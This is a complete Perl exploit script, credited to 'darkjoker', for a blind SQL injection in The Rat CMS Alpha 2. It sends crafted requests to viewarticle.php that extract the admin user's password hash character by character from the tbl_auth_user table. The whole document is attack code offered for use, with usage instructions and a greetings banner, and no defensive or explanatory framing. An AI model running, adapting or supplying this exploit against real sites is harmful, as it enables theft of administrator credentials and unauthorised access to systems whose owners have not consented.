#--+++=============================================================+++--#
#--+++====== The Rat CMS Alpha 2 Blind SQL Injection Exploit ======+++--#
#--+++=============================================================+++--#
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;


sub query {
  my $chr = shift;
  my $pos = shift;
  my $query = "'x' OR ASCII(SUBSTRING((SELECT user_password FROM tbl_auth_user WHERE user_id = 'theadmin'),${pos},1))=${chr}";
  $query =~ s/ /%20/g;
  $query =~ s/'/%27/g;
  return $query;
}

sub check {
  my $host = shift;
  my $path = shift;
  my $chr  = ord (shift);
  my $pos  = shift;

  my $sock = new IO::Socket::INET (
    PeerHost => $host,
    PeerPort => 80,
    Proto    => "tcp",
  );
  
  my $query = query ($chr, $pos);
  print $sock "GET ${path}/viewarticle.php?id=${query} HTTP1.1\r\n\r\n";
  my $x;
  while (<$sock>)
  {
    $x .= $_;
  }

  $x =~ s/\s/ /g;
  $x =~ /<h1 align="center">(.+?)\/h1>/;
  if (length ($1) > 1)
  {
    return 1;
  }
  else
  {
    return 0;
  }

  close ($sock);
}

sub usage {
  print
    "\n[+] The Rat CMS Alpha 2 Blind SQL Injection Exploit".
    "\n[+] Author:  darkjoker".
    "\n[+] Site:    http://darkjoker.net23.net".
    "\n[+] Usage:   perl $0 <hostname> <path>".
    "\n[+] Greetz:  certaindeath\n";
  exit ();
}


my $host = shift;
my $path = shift or usage;

my @key = split '', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789*';

my $pos = 1;
my $chr = 0;

while ($pos <= 32)
{
  if (check ($host, $path, $key [$chr], $pos))
  {
    print $key [$chr];
    $chr = -1;
    $pos++;
  }
  $chr++;

}

print "\n";